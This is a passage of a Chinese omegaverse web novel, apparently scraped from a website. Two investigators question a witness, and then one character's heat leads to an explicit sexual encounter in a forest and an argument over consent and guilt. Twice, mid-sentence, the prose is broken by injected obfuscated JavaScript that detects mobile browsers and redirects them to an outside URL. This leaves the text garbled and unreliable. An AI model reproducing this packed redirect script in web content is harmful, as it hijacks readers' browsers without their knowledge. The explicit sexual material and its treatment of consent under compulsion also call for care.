“以我们现在对他的调查来看,生活单一简单,证据不明,确实无法确定他是否真的会拿酒,并牵扯到这个组织,”池泷也不知道这样说对洛熙有没有什么安慰,“所以我们此次来就是想问一下,你这儿是不是有别的线索,还有他书房里那些标记的事儿,”说到这里,池泷顿了一下,“就像你大门旁边的那个标记。” “你要不要去看会书?正好休息一下,”刚说完,池泷就转向林息问道,语气关切,“昨天就不太舒服,我看这里有许多古星的名著,说不定有孤本之类的。”、 听到这话的洛熙毫无掩饰地、大大方方地、冲池泷翻了白眼。 就坡下驴,林息也起身询问:“我能看下这些书吗?” “可以,随便拿,我放书也没什么规律的,随手拿到哪本看哪本。”洛熙温柔回复。 这一幕看在池泷眼里,觉得自己好像被区别对待了? 林息的身影在客厅的另一端站定,洛熙才开口说道:“替代适应性理论,以前有个专家提出的。” 眼中闪过阴霾,洛熙语气下沉,“我也不是想惹事,毕竟按理说这事不应该让你们知道,天语从十几岁起就爆发了识别障碍,如果不这么做,他就会被隔离。” “理解,我们是接了阿瑞亚的委托来的。只是想知道这些符号有什么对应含义吗?”听见理论名称的瞬间,池泷先是下意识不着痕迹地瞥了一眼林息,看他专心欣赏书架似乎没听见,她才放下心。 她完全明白洛熙的警惕。 心中长叹,按那位教授的说法,新人类识别障碍主要来自于基因突变而不是遗传。这倒让一直以基因污染为幌子要求隔离的王室显得不近人情。 “比如红色的爱心对应的是我,黄色的三角代表桌子等等吧,你还不如直接拿你想知道的符号来问我比较快。”毕竟几十年来符号太多,如果一一跟池泷讲,怕是几个月都讲不完。 “他在有的家具上画了五角星,”池泷回忆了一下自己见过的符号,“还有倒三角。” “一般和我有关的东西都画了五角星,倒三角是凳子或者椅子的标志。”洛熙张口就来,这让池泷更加确定,吴天语就是跟他学的那套理论。 池泷又问了其他的一些符号,洛熙全部给了解答。 最后他像是感慨、又像是怀念地说:“几十年,他拼命死记硬背,其实什么也看不懂……他给过我最好的礼物,是前年我四十一岁生日的那天,恰好也是保养日,他带了一束花,拿了一张白纸,在纸上写下我和他的名字。” “你知道吗?”洛熙眼底一片漆黑深沉,像一处看不透的深渊,“像天语这样的人,严重的时候,甚至连身边一直都在的人都有可能记不住。所以他很少跟人说话,很难跟人建立联系。阿瑞亚和老李,是他极为珍重的朋友。” “如果他还有未来,说不定哪天连他们的名字也学会写了。”洛熙脸上突然浮现淡淡的笑容,池泷说不上来,那种感觉,仿佛洛熙已经看到那个场面,又仿佛他已经看不到那个场面了。 没敢多瞧,池泷赶紧低头在光脑上做记录,因为她不知道此刻应该跟眼前的人说什么。 “你们去过他的家了?”几分钟后,洛熙突然询问。 “是。”池泷答应道。 “他家怎么样?温馨吗?他把自己照顾得好吗?”这一连串的问话,让池泷觉察不对。 “你没有去过?”池泷疑问。 “一次也没有,不是说过互不打扰嘛。”洛熙变得正常,他此刻的表情把“你难道听不懂我说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14910325|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”表现得淋漓极致。 “嗯……还行,一个人住呗,也就那样。”池泷没法评价,她觉得除了没人味之外,倒也没啥大毛病。 “哼,听你这话,我都能猜出,他虽然住在我俩以前看好的那套房子里,但那里除了当时我留下的家具书本,估计啥也没有。” 该说不愧是曾经的夫妇吗,一语中的。 接着池泷又问为什么没给每一样物品都做标记,洛熙也很快给出了回答,答案言简意赅:“没必要。” “?”池泷一脸问号。 “我告诉他,没必要对生活中的每一件事都那么上心,那不得累死,”洛熙说这话时好像意有所指,眼神盯住池泷,“人一辈子,重要的人和事都不少,关注重要的事、重要的人就已经足够了。” “你说得对。”忽略心里发毛的感觉,池泷将笔记做好,拿起水杯喝光,没想到下一秒,洛熙就把杯子倒满。 “说起飞燕,”洛熙声音低沉,“前几天聚落好像来了新人,听他们说起过。” “什么?”这勾起了池泷的好奇,她想起乔城的事,感觉自己手心开始隐隐发热。 “他们传言有人在亚硫城内看到过飞燕,”看着池泷瞪大的眼睛,洛熙眼神向上,似乎在思考,“但也就是一眼,那人好像还挺确定的。毕竟聚落里那群人三教九流,有的人跟飞燕真的接触过,所以能认出也说不定。” “哪个人?”池泷自己也没察觉到,她的声音变得前所未有的冷酷,让洛熙忍不住挑眉。 “不知道,我也是听他们说、他们听新人说。新人我没见过,这么多天,活没活着还是未知。当然,这事也可能是新人为了立威,跟人吹牛,考究起来可麻烦得很。”洛熙耸耸肩,随即说道,“你不是说天语也牵扯到他们吗?我觉得可能是一条线索。” 确实,聚落人流快速、人员混杂,这种虚无缥缈的消息真的追究起来,不知道什么时候才能找到源头。 “那我将怀表拿回去……”池泷握了握手,再次喝光杯中的水,提出最后一个请求。 “不可能。”坚定地、出乎意料地被拒绝了。 “怀表有录音功能,我们拿回去可能有新的帮助。”池泷耐心解释。 “这事儿我比你们清楚,他们三个当年约好,表如人,不论生死,”洛熙态度依旧坚决,“这件事一天不解决,怀表我一天不能给,这也是我的态度。”、 “里面万一有重要线索呢?”望着突然蛮不讲理的洛熙,池泷只觉头痛,总不能上手抢吧?还不知道怀表在哪儿呢。 “这倒没有,”洛熙托住下巴,手拿起玻璃瓶,“有的话,我能不告诉你?” 池泷心说,这还真不一定。 杯子再次被续满水,此刻池泷已经有点想上厕所了。 “卫生间在那边,”洛熙指了指二楼,他的贴心总是意想不到。 没再继续讨要怀表。虽然相处不多,但池泷确信,眼前这位说不给就绝对不会给。 先去上厕所吧。 “你喜欢她什么?”池泷走后,洛熙突然问了一句。 “喜欢?”看书的林息抬起头,脸上的茫然不似作假。 “哦?”这下洛熙来了兴致,“你们不会是什么先婚后爱不自知,破镜重圆带球跑吧?” “你说我喜欢她?”没在意洛熙的话,林息执拗地询问。 “不然呢,”没吃到瓜的洛熙也没气馁,他看着眼前的年轻人,就像看见过去的自己,“你们真的是伴侣吗?你俩昨晚相安无事,如果不是你主动放弃,她怎么可能逃过你的手掌心?” “没有考虑过为什么吗?”端起水杯,洛熙眼中有不太明显的慈爱。 因为她道歉了,林息想,被追随者应该宽容点去满足追随者的需要,虽然——他现在有点讨厌“追随”这个词。 “我能看出,她对你信任、尊敬,也有那么点喜欢吧,但绝不是能被排在前面的感情,”四十出头的洛熙慧眼如炬,“而在你这儿,恰好反了过来。” 这句话让林息莫名心中刺痛,他冷笑一声,反问道:“那你喜欢他什么呢?” 修长的手指优雅地捻起书里发黄的干花片,从花瓣和叶片的形状能看出来那是一朵鸢尾,是郊区无法盛开的花。 林息的另一只手,则轻轻抚摸着摊在腿上的书,是一本页边已经有些翻卷的、来自古星的《简·爱》。 “喜欢很单纯,但容易变得复杂,”洛熙依旧笑着,端着水杯朝他敬了敬,“失去一切后,我才发现喜欢他的一切,原来这就是喜欢,没有那么多不得已,就是喜欢了。” 林息冰冷着脸,躲避过洛熙的目光,在他看不见的地方,牙齿紧咬着下巴内的软肉。 在万千星联人面前都能泰然自若,甚至能言善辩的人,此刻反驳不出一句话。 此时,对面的洛熙太过坦荡了,坦荡得承认他对“不完美的人”有着“完美的喜欢”。 但他从未想过要喜欢她,这种不靠谱的、被化学分泌物欺骗的词汇,不配用来形容他们的关系。 看着小孩不服的模样,洛熙并未多说什么,思绪仿佛一下回到了20多年前,他长长地叹了口气,端起杯子小口抿着,仿佛喝的是一杯红酒。 当池泷解手完毕,下楼时看到的景象就是这样的:崖柏在空气中汹涌地翻滚,压抑着满满的攻击性,预图攻击的对象——就是那个正坐在雕花沙发上悠然喝水的人。 上了个厕所,天就变了吗? 池泷出现的一瞬间,林息就看了过来。 虽然有伪装,但此刻林息的眼神和表情,才符合池泷对他的第一印象:清冷、高贵、不在乎。 如果崖柏没那么激动,就更符合了。 “时间已经不早,我们得告辞了,谢谢你今天的帮助。”三步并作两步,池泷走到桌子前,把杯子的水喝光,杯口向下扣在桌面上,“如果还有什么线索,或者需要帮助,都可以联系我。” 正好她也有些不太能当着林息面问的问题,比如那位尚教授。 于是她把自己的光脑号给了洛熙,只是不知道为什么,她下意识给了他自己军校那个“官方号”。 对方略了一眼,挑挑眉,笑着说:“也谢谢你们,大老远得跑来。对了,下次如果还要给别人用治疗仪,建议你别给自己学校的,央星军校的随身治疗仪是特制的,虽然外表没什么标志,可知情的人一眼就能看出你的来历。” 明明是你知道的太多了,池泷心想。 一般情况下,池泷也就是给自己用用治点皮外伤罢了。不过洛熙既然这么提醒了,倒是可以换一个。 “你们能来,说明跟朴哥也熟,他那儿就有,一般毛病都能治,也不贵。”洛熙继续补充,熟稔的语气和敬称让池泷认识到,他对朴人间的态度不一般,或许因为那是二十年前救过吴天语的人。 谢过提醒,池泷拿起背包,林息早已在门口等候,只是手里拿着一本看起来还挺破旧的书。 不是闹翻了吗?还拿人东西?池泷一头雾水,觉得眼下的局面,有种她不能理解的复杂。 好在书本主人也没说什么,默认了林息将书拿走的行为。 双手环抱,洛熙特地瞥了一眼高冷的人,笑眯眯地站在门口,语气戏谑:“再见~”。 “再见。” 33.第32章 向洛熙道别后,两人慢悠悠地,向一开始的降落站点移动。 池泷事前调查过,一天中来郊区的飞艇只有两趟,通常情况下,一趟在中午11:40,一趟在下午6:30。 而现在,池泷看了看手中的光脑,距离第一趟飞艇还有将近两个小时,而从洛熙家走到站点,只需要15分钟。 于是池泷提议道:“离飞艇到还有将近两个小时,要不要去周边逛逛?” 她默默地长吸了口气,难得一闻的、如此清新的空气,在比刚才稳定不少的轻微崖柏味道加持下,愈加提神醒脑。 说不定对平复心情也有好处,池泷心想。 “嗯。”面上依旧冷静,林息语气也听起来平稳,只不过话比刚才少了些。 在路边观察了一会儿,池泷选中一条相对干净的树叶小路,率先走了进去,林息则跟在身后。 很快,池泷便后悔自己的这一决定。 预估失误。 从外面观望时,只觉得树林生态复杂、错落有致。 真正走进来,池泷才发现它的生态情况过于热闹了,而且各类植物生长得格外茂盛,行进不算简单,经常要用手拨弄开挡在眼前的树叶枝条。 乔木灌木共生,宽叶针叶共存,厚厚的各式树叶铺在脚底,和踩在棉花上差不了多少。 头顶也被枝叶遮挡,恰好阴凉,环境有些昏暗。 好在脚底的树叶只有淡淡的腐化味,身边更多的,还是植物的自然香气,崖柏的味道混入其中,完美融合。 越往里走,枝叶越密集,甚至有几处需要池泷用小刀将它们划开。 她专注于开路,怕身后的人会绊倒划伤,同时心底暗暗后悔,和自己想象中的“天然氧吧散步”完全不同,反而多了几分“野外求生”的意味。 可在这儿贴近自然,也好过在站点傻等或者在聚落受人观赏。这是池泷的想法。 林息或许也是这么想的,因为他从一开始就未出声抱怨过什么。 不知走了多久,脚下的积叶越发厚实,枝条有些阻碍行走,视线也轻微受到影响,池泷停下脚步,叹了口气,准备结束这趟不算太美好的闲逛。 心思回拢,才终于听见,身后跟着的脚步声,不时会轻轻踉跄几下。 如果不是林间幽静,或许都听不出来。 不禁皱起眉头,池泷想不起这样的脚步,是什么时候开始的。 毕竟在林间,崖柏的流动,也变得不再那样明确。 她立马准备转身,却被身后的人突然一把抱住,这让池泷一下子瞪大了眼睛。 体温滚烫,池泷只觉得自己后背烧着了一片,低头看向腹前交叠的胳臂,果不其然,皮肤透着隐隐的粉色。林息“哈、哈……”地吐着气,声音如若游丝,池泷却觉得脊柱中间有个点,格外湿热。 显然的是、不幸的是,发热期来了。 “你……”池泷还没开口,就被林息打断,气音让背后的那个点的感受愈发明显,“我知道。” 短短三个字,换来身后之人更为难受的气喘,胳膊抱住的地方力气渐小,双手却仍旧攥得死紧。 池泷没有转身,只是问道:“有什么应对举措?” 对方没有回答,但脊柱湿热的地方扩大开来,喘气声愈发粗重,似乎下一秒身后的人就会倒下。 仅仅凭借皮肤摩擦力而勉强维持的拥抱,是他现下唯一的支柱。 等了几秒,池泷抿了抿唇,后槽牙一咬,问道:“我可以吗?” 依旧听不到回答,身前的胳膊突然下落,双手刹那间分开。 在林息倒地之前,池泷回身将他一把抱在怀里。 她这才看见他的样子。 额头上布满了汗珠,留海早已湿润透,像海草一样紧贴蜿蜒。 有几颗缓缓流下,路过发红的眼角,划过红透的腮颊,停在下巴尖,要落不落,勾人好奇。 还有几颗从双眉之间落下,沾湿挺拔的鼻梁,最终落于好看的鼻尖,晶莹诱人,似乎吻掉是极好的选择。 只是迷蒙的双眼,在看到她时突然紧闭,嘴唇紧紧抿起,眉毛轻微皱起,让汗珠的滑落不再那么顺畅。 池泷只觉得自己捧着一股融化的清澈雪水,此刻正沸腾滚烫着。 明明四肢已然柔软得不成样子,连抓住她胸前衣物的手指都在轻颤,那双眼似乎是最后的抵抗。 在抵抗什么呢?池泷眼前开始模糊,后颈处一下子像炸开了什么,传来不容忽视的热意。 尾椎的麻痒逐渐往上,一层一层推进,自己不是说过可以帮忙吗?他怎么能如此不听话呢? 犬牙蠢蠢欲动,她看着眼前紧闭的唇,此刻正血红非常,应该是被人咬过,上下唇边都有明显的牙印。 美丽的事物竟然有令人讨厌的伤痕,池泷低下头,想仔细看看,她隐约还记得这里柔软甜美得不像话,不能让人轻易放弃。 此刻这份自己了解的美被破坏了,心底涌上压抑不住的戾气,破坏这里的人、动了自己东西的人,必须惩罚。 不知不觉,池泷也张开嘴,快速喘着粗气,舌尖不停划过坚硬的牙齿,那种扎进柔软里的记忆简直要让她疯狂! 这时,一直闭合的双眼突然睁开、睁大,那双碧蓝眼眸紧紧看着自己,池泷甚至能看见虹膜旁边细小的红色血丝,里面洋溢着明晃晃的不甘,和一丝不易察觉的悲哀。 这双眼睛不该是这样的。 不该是碧蓝的、不该是不甘的、不该是悲伤的。 应该是琥珀的、应该是温和又尖锐的、应该是藏在冷漠后面会轻轻笑开的。 就像当年一身战众人的坚毅、像独立于群众之外的淡然、像带自己离开的着急、像每一次复盘时的认真。 这是林息! 下一秒,池泷毫不犹豫、狠狠朝自己不安分的唇舌咬了下去,突如其来上头的疼痛让她刹那清醒。 后颈的腺体疯狂叫嚣,传来的疼痛和引诱也变得明显起来。 空气湿润,两人仿佛正处在热带雨林中,蒸腾、湿润,甚至还有些黏腻。 稳了稳心神,池泷将林息双臂挂在自己的脖子上,他的脑袋也随即磕向自己的肩膀,这样的震动让腺体酸麻得不行,池泷双腿一软,差点没站住。 努力控制住手脚,池泷怀抱着林息缓缓坐下,将他放坐在自己身上。 肩膀传来的湿热让池泷抱歉又心疼,她抬起一条腿支撑着林息如水的身体,手轻轻扶起他的头,看见泛红的双目,忍不住抚上他的脸颊,她额头靠着他的额头,两人汗水瞬间交融在一起。 “抱歉。”沙哑的声音里充满真诚的愧疚,池泷想,跟林息在一起,自己好像总是在说抱歉,给他添了很多麻烦。 碧蓝的眼眸终于不再像刚才那样让人扎心,他似乎在坐下时就明白池泷从本能中解放了出来。现在只是在迷蒙中挣扎着,偶尔露出一丝清明。 池泷感觉额头传来震动,原来是林息轻轻摇了摇头。 “不是……你的错,”胸前的衣服收紧,池泷突然发现,碧蓝眼眸离自己更近了些,下一秒唇上传来滚烫柔软的触感,她一下子瞪大眼睛,屏住呼吸。 四目相对,池泷不知道这算不算一个“吻”。 林息时而清醒时而懵懂,这或许只是omega发热期正常的反应。 “救救……我,池泷。”嘴唇离开,林息也气息不稳,可仍旧说了这一句,微弱的声音里多了点尖利,“拜托。” 下一秒,他伸出舌头,轻轻舔了舔池泷干裂的嘴唇。又在她没反应过来时,双手撑在池泷肩膀,腿缓缓分开。 柔软和坚硬不完全地触碰了。 身躯一震,池泷迅速出手掐住林息的腰,控制住好像要活动的他。 也仅仅是掐住,手指触及时,腰部比自己想象中还要细小柔软,让她不敢用力。 别贴那么近啊,池泷身体紧绷,欲哭无泪,她甚至不敢伸舌舔嘴唇,浑身上下早就乱成了一团,她尽量忽视身体传来的不适信号,将虎牙轻轻贴近肿胀的腺体。 腺体依旧可爱,池泷匆忙看了一眼,粉嫩晃动的样子就像它的主人,不晓得自己对旁人有多诱惑的情况下,还懵懂地做些大喇喇的事。 小心仔细、缓缓地注入信息素,令池泷意外的是,和以往相比,这次她竟能完全清晰地感受到水汽的流经,每一寸皮肤、每一条血管,和崖柏交融共舞。 “啊……”耳边传来呜咽,池泷忍不住将虎牙抬了抬,却又听见撒娇,“别……”。 让人进退两难。 她估计是听错了。 结束后,她将林息环抱,让他渐渐平复自己。而她也需要平复一下。 胀痛。 裤子还不知道能不能要,黏腻湿润的触感没法忽略。 自始至终,林息都揪着自己的衣服,导致前胸也传来阵阵异样。 腺体比刚才好了不少,可她依旧能感受到那股吞噬一切的疯狂,尤其是刚才,进入林息体内的信息素,嘶吼着“更多、更多”,将他迅速占领还意犹未尽。 我死后一定会成佛的,池泷木着表情,准备默念心经,却连第一句也想不起来。 “更多。”池泷想,alpha的本能一直在企图压过理智占领上风,导致自己从刚才起,就出现幻听,此时更是连耳边热热的风感都幻想出来了。 见她没反应,林息又不安地挪动屁股,后腰上却紧接着传来一股大力,制止了他的行为,他瞬间有些不满,双腿夹紧,捧住眼前人的脸,从眉毛到嘴唇,一步步吻下来。 他一定是疯了,池泷双手依旧放在不停扭动的腰部,只能感受着双唇划过鼻尖的刺激,崖柏的味道此刻带了引诱,吻里的热度在告诉她“不可以就这样结束”。 信息素的叫嚣或许是对的,池泷混乱中想到,她呼吸急促,咽了咽口水,嗓子却干涩得发紧,林息体内自己的信息素融合过后,崖柏又迅速升腾起,流连的样子昭示着一种空虚。 “要谨遵医嘱啊。”眼前和腿部传来截然不同的感受,林息稍微起身,伸手将腰部的禁锢拨开。 他低头,露出脖颈,将其送到某人嘴边,继而在她耳边轻轻道了两个字。 下一秒,他忍不住轻声痛呼,信息素排山倒海似地压了过来。 酸麻、痒意、还有一丝让脊柱迅速软塌的疼。 然而林息没有屈服,他挺直腰背,硬扛着,带着挑衅,告诉alpha:“来啊。” 唔……他喜欢这种包容她全部的感觉。 在他的视线盲区,池泷双眼赤红,像疯了一样注入信息素,裤子包裹住的痛感给她保留了一丝理智,告诉她不能全放开,不然身前的人会很疼。 他太坏了,他会后悔的,池泷脑袋里塞满乱七八糟的想法。 “呼……”林息呼了口气,信息素交融的感觉让他觉得似乎触及了天堂,腺体里崖柏的诱惑、水汽的扩张,让他眼前瞬间一片白光。 和以前不同,她还是没有用力,林息勾起唇角,这次并未像以前一样厌恶身不由己的发热期。 一两分钟后应该还有一次热潮就结束了,他在心里默估。 看着结束后靠着树干的池泷,她此时满脸通红,呼吸急促,双手离他远远的,似乎不敢再触碰他。 瞧,刚才被刺激得勇敢无比的人,又缩回去了。 悬空的林息看看腿下某人诚实的情况,深色溢满了大腿,甚至到了膝盖,尤其是某人的双腿中间,颜色格外深沉。 舌尖舔过虎牙,闭眼的池泷错过了他邪恶的表情。 她正在努力平复,刚才那两个字冲击太大了。 终于明白洛熙说的“耐心点”是什么意思了,不知道还有几次才能结束林息的发热期。 可悲哀的就是,他俩并不是真的伴侣。 箭在弦上,不得不发。 池泷觉得自己可能要废了。 身前传来窸窸窣窣的声音,池泷也没心情去在意,她尽量让呼吸变长,把欲念压下。 “池泷,”第一次觉得林息的声音像引诱凡人堕落的恶魔,但她无法拒绝。 睁开眼,她额头青筋瞬间跳起,想把眼前的人推开,手却被抓住了。 “帮我,你说过的。”这一句话让她放弃了挣脱,眼前的人眼神虽然清醒了不少,可依旧带着迷茫,似乎热潮再次来临。 当然池泷虽然理论充足,可实际上,并不知道具体omega的热潮是怎么回事,再加上洛熙的医嘱,她对林息这次的异样更没把握。 可……她看着林息雪白的大腿,被抓住的手抽搐个不停,他到底想干什么? 当手掌握到一抔湿润的时候,池泷脑袋彻底炸开,瞬间她连思考的能力和时间都失去了,可手指的感知又清晰地传到脑内。 “我好看吗?”耳边传来这样的问询,alpha的本能让她循着味道叼住身边的崖柏,又咬又磨。 “好……看……”口齿不清的话语带来了诱人的笑意,“再快点,池泷,对……不用再多,哈……” 信息素像疯了一样涌入,林息觉得自己此刻就像一块橡皮泥,任由身前的人搓圆揉扁,身体绷直的一刹那,他让似乎已经失去意识的alpha离开后颈,在她通红的唇上亲了亲。 她真的好乖。 “再来一次。”感受到最后一次热潮来临,林息并未再“上贡”自己的腺体,信息素足够缓解,可身体却格外贪婪。 他伸出手指轻轻拉开池泷的拉链,但刚到一半,又至顶点,林息快速“啊”了一声,喘着粗气趴在池泷肩头休息。 她学得好快。 这时,池泷动了一下,林息没在意,毕竟他此刻四肢无力,还没恢复,有什么东西划过树叶,自己敏感的地方突然被一阵清凉覆上。 “好了?”头顶的声音比刚才更加沙哑,可给自己清理的手却和刚才一样轻柔,“人体湿巾,卫生的。” “衣服不能穿了,”林息看着眼前的脖子艰难地动了动,似乎说话是件很难受的事,“但没换洗,烘干后回酒店再说。” 池泷从包里拿出一个压缩的便携家居机,手指刚想勾住纯白的小裤时,又问道:“我来?” 脖颈旁的人点点头,池泷便将衣服一鼓作气脱掉,又把包铺在地上,将人放了上去。 这个过程,池泷只一直用余光观察,没多看一眼。 “你怎么办?”突然的苏醒和池泷的平静,让林息觉得不安,水汽压抑地漂浮着,说明此刻主人的心情并不像她表现的那样。 “等我一会儿,我不会走远。”说罢,池泷向树后走去,茂密的枝叶恰好能挡住自己的身形。 她将裤子解开,用手抚上受尽委屈的小可怜。 其实自己并没有那样平静,或者说是不平静的平静。 在林息紧绞手指的那一刹那,自己突然回魂,那种温热紧凑的触感带来过度的冲击,一时间她不知道该怎么办。 但她也无暇去想怎么办,事儿是自己答应的,也是自己做的。 只是,这不是一种健康的关系。 想到这儿,池泷手上不禁用力,下一秒就“嘶”了一声。 身不由己不是借口,自己越线了,清醒地、认知鲜明地越线了。 闭起眼睛,刚才的情形历历在目,哪怕是最后一次,陌生的触感、陌生的经历也难以忘记,尤其是她看到芍药花在手心绽放时,率先感受到的,是对眼前美景的垂涎和难以磨灭的成就感。 她甚至一瞬间有这样的想法:“如果没有伪装就好了”。 手速不断加快,可悲的是,她想象的对象就在树的另一边,那本质上,或许是一位有妇之夫。 突然她开始后悔,宁可一开始就让alpha的本能占领上风,装作不知道,装作自己没想过。 那两字的回音似乎又在耳边响起,池泷结束了,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926845|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小可怜仍旧颤颤巍巍,并不满足。 你想要什么呢?不是说好了点到为止吗? 鬼使神差地再次覆上,这次池泷选择曾经进入过湿软的那只手,仿佛那种触感也会通过手指传到手心,包裹住那份复杂的廉耻心,却仍旧让她忍不住低头看着自己的动作,没想到,结束得比刚才还要快。 但好歹,终于结束了。 从树后出来时,林息已经穿戴好干燥的衣物,头发半湿、面上微红,抱着包靠在树干。 该道歉吗?又道歉吗?池泷看着地面上厚厚的叶子,不知道该说些什么。 水汽在周围如同岩浆一般地蒸腾着,林息表情不变,率先开口:“烘干下衣服吧。” 池泷这才发现,自己的裤子还是乱七八糟。 小心接过林息递过来的烘干机,池泷努力不去触碰他的手指,转身准备再次去往树后。 “就在这儿吧,我背对着你就是了。”林息抱着包,面向树干,声音听起来一如往常。 仿佛什么都没发生过。 连脱衣服的动作都小心翼翼,池泷心中纠结无比,这件事要怎么办?就让它这么过去?是不是应该谈谈? 她抬头看着林息,一时间主意不定。 “你情我愿的事情,不必想那么多。”可能是池泷的目光太有存在感,林息背对着她缓缓说道,没有安抚、没有解释,就像在说“天气预报说明天是个晴天”一样的自然随意。 和第一次一样,但这次池泷是清醒的、有意的、甚至是欢愉的,林息迷茫地被发热期控制,这是一场毫无争议的“趁人之危”。 池泷的愧疚和羞耻到达了巅峰。 “如果我不同意,你根本也做不了什么。”水汽仍旧充满着压抑,林息想起洛熙的话,他心中闷得慌,“一开始我确实也没想麻烦你,所以忍了很久,直到坚持不住。” 林息确实是这样想的。 今天洛熙的话让他觉得别扭。 因此感受到不对时,他率先选择隐忍,又像在跟谁堵气,不想碰她,又像是害怕,怕有些事和洛熙说的一样。 或者说他一直在回避这个事实,她现在自责得难受,从一开始,她对他永远是责任优先。 但随即他又想到,那又怎样呢?人的感情是会随着事情变化的。 “如果你不帮我,在没有抑制剂的情况下,我会死。”林息声音平静地阐述着事实,“如果说起来,这件事还是我的错,没有顾及你的意愿,强行让你做了这些。” “这和犯罪没有任何区别,所以应该我道歉。你完全不需要负责。”他想起刚才的情形,那些小心的动作,有些苦恼,怎么打消她的心里隔阂呢? “你大可把这件事当作一场交易,在我解决那些困难之前,我们可以互惠互利。”利益关系是这个世界上最稳定的一种关系,只要双方能够相互利用,就可以缠得比麻花都紧。 其实林息一开始想说“弥补”,而不是“交易”。 如果这样说,无疑是将以前那件事再次提起。 尽管可以利用她的这份愧疚一攻而入,可不知道为什么,他出口时仍旧选择了交易这个词。 “这不是交易的事,”过了很久,身后传来沙哑的声音,“这是一种侵犯和越线,我们做的事,是会被道德和社会唾弃的。” “林息,这是不对的。” 第一次听见她叫自己的名字,没想到是这样的指责,林息无声地苦笑了一下,刚想说什么,又听见她继续说道:“我不该伸出手指,就像我现在不该虚伪地羞愧着,这件事我获得了快乐,产生了不该存在的想法。” 这下轮到林息迷惑了。 他在说信息素,她在说□□。 明明前者比后者更深入不是吗?为什么她反而在纠结这些? “可我也获得了快乐,这是一场双赢。”林息谨慎开口,“我没有阻止你,这件事发生时,我也是有意识的。你的自责就像打在我脸上的巴掌,指控我的不检点,除此之外,哪里不对呢?” “我们不具有任何合法的关系,同时你婚约在身……”话还没说完就被林息打断,此刻他的声音终于有了点不一样,好像是愤怒。 “首先,这件事发生时,婚约并未实质性地存在。我是单身、身体健康、心怀善意、做好了能接受一切的准备,生殖腔并未打开、措施没问题,也没有法律规定,一定要结婚才能发生关系。” “其次,以上前提下,我的意愿应该是放在首位的。而我明确表示过我愿意。道德也好,社会也好,我对身体和意愿的主张,并不会对他人产生损害,那用于批判我的标准是什么?” “最后,这件事里,我唯独忽略了你的感受,这是我唯一认为的‘不对’”,”林息停顿了一下,“你可以告我、可以骂我、可以驱逐和唾弃我。我说过,我做好接受一切的准备,哪怕身败名裂、哪怕死去。” 说到这儿,他转过身来,脸上是池泷最为熟悉的那种表情:高冷、平静、无情。 “所以我向你诚挚地道歉,我愿意承担一切责任。”他鞠躬,仅仅穿着内衣的池泷却忍不住后挪了几步。 涌上来的竟然还是心虚,池泷想,尽管林息说的话听起来自私又无情,可这种大包大揽的感觉,无疑是一份优秀的“免责声明”。 但对池泷来说,也是一种指责。 如果她不愿意,这样的状态下,谁又能逼迫一个S级的alpha呢?放纵欲望压过理智,凭什么找借口呢? 从头来说,如果不是自己一开始为了弥补约定答应,或许两人还走不到这一步。 这样的风险,一开始自己不也是知道的吗?只不过一直抱着侥幸心理。 一边享受快乐,一边假装内疚,自己才是应该被谴责的那个人。 “这件事我也是愿意的,”甚至还乐在其中,“对不起,是我的错。只不过以后不会再发生今天这样的事情了,那个交易……还是算了吧,我发誓,以后我只做一开始答应的。” 池泷没敢看他,慌忙从烘干机中拿出皱皱巴巴的衣服穿上。 “这次,我们都有错,但有些事无法扯平,”池泷将烘干机收回包里,“这些事被人知道了,我顶多被骂一句‘不要脸、花心’,而你要承受的就不止这些了。哪怕,婚约并不真实。” 说完最后一句,水汽在空中雀跃地蹦了一下。 “就算再坚强,众口铄金,说不受到一点伤害是绝对不可能的。”第一次发生时,池泷就想说对他这些,他应该是自由的,可现在omega还没被笼罩在自由下。她不希望他因为自己受到伤害,“纸包不住火,那时,我们都要保护好自己,尤其是你。” 池泷走向林息,将他扶起来,拿过自己的包,转身向林外走去。 林息看着她的背影,嘴角下沉。 她总是这样,明明不是第一次了,可一旦发生这样的事,她还是会愧疚和羞耻。 自己只是用她第一次道歉的方式来回应她,却换来了更深的退缩。 仍旧站在“既得利益者”的角度教育自己,一般人不都会觉得“反正也没什么损失干脆就这样呗”而得过且过吗? 甚至连答应好的事也差点反悔。 池泷看不见的地方,林息眸色变深,嘴角抿起锋利的角度。 没关系,这次也得到了其他信息。 明明自己一开始说的只是“信息素”的深层交易,在她的理解范围里,似乎在说别的? 相比于信息素,其他这样不会留下痕迹的方式,有什么值得在意的呢? 不过,更了解她,下次自己就会更有准备地让她和自己绑得更紧。 再三再四的事情,谁又知道呢? 跟在池泷身后,林息重重踩住她踩过的地方,脑中却突然闪过包里那本老旧的书册,里面有一朵干枯的鸢尾花。 他皱起眉毛,甩甩头。 绝不可能,像洛熙他们一样。 34.第33章 两人一路沉默。 进入同样的飞艇内部,同样的环境,同样窃窃私语的人群,同样被池泷护在身前。 可回去的路上,池泷对他更拘谨了,肢体的触碰节制且小心。 看着一直望向窗外的池泷,林息对自己说,极速变成负距离必定是让人难以接受的,所以她的冷漠是必然的,手掌却轻轻握拳。 下一秒,林息突然凝视窗外,进而站直了身体,他看向身前,池泷也皱着眉头,四肢肌肉绷起。 “我去找舰长。”池泷放开林息,周身无形又突然沉重的威压让人群纷纷给她让路,舱内瞬间鸦雀无声。 